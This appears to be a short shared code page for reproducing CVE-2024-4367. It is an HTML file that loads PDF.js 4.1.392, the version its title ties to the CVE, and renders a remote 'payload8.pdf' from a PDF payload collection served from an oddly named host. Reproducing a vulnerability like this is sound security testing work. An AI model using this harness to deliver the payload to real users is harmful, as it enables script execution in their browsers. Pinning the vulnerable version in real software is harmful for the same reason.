Created
September 18, 2024 16:06
CVE-2024-4367 Example
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<!DOCTYPE html> | |
<html lang="en"> | |
<head> | |
<script src="https://cdnjs.cloudflare.com/ajax/libs/pdf.js/4.1.392/pdf.min.mjs" type="module"></script> | |
</head> | |
<body> | |
<h1>CVE-2024-4367</h1> | |
<div id="pdf-viewer"></div> | |
<script type="module"> | |
// The URL of the PDF you want to display | |
const pdfUrl = 'https://raw.githubusercontent.com/luigigubello/PayloadsAllThePDFs/main/pdf-payloads/payload8.pdf'; | |
// The workerSrc property shall be specified | |
pdfjsLib.GlobalWorkerOptions.workerSrc = 'https://cdnjs.cloudflare.com/ajax/libs/pdf.js/4.1.392/pdf.worker.mjs'; | |
// Load the PDF document | |
pdfjsLib.getDocument(pdfUrl).promise.then(function(pdf) { | |
// Get the first page of the PDF | |
return pdf.getPage(1); | |
}).then(function(page) { | |
const scale = 1.5; | |
const viewport = page.getViewport({ scale: scale }); | |
// Get the viewer container | |
const container = document.getElementById('pdf-viewer'); | |
// Create a new canvas element | |
const canvas = document.createElement('canvas'); | |
const context = canvas.getContext('2d'); | |
canvas.height = viewport.height; | |
canvas.width = viewport.width; | |
// Append the canvas to the viewer container | |
container.appendChild(canvas); | |
// Render the page on the canvas | |
const renderContext = { | |
canvasContext: context, | |
viewport: viewport | |
}; | |
page.render(renderContext); | |
}); | |
</script> | |
</body> | |
</html> |
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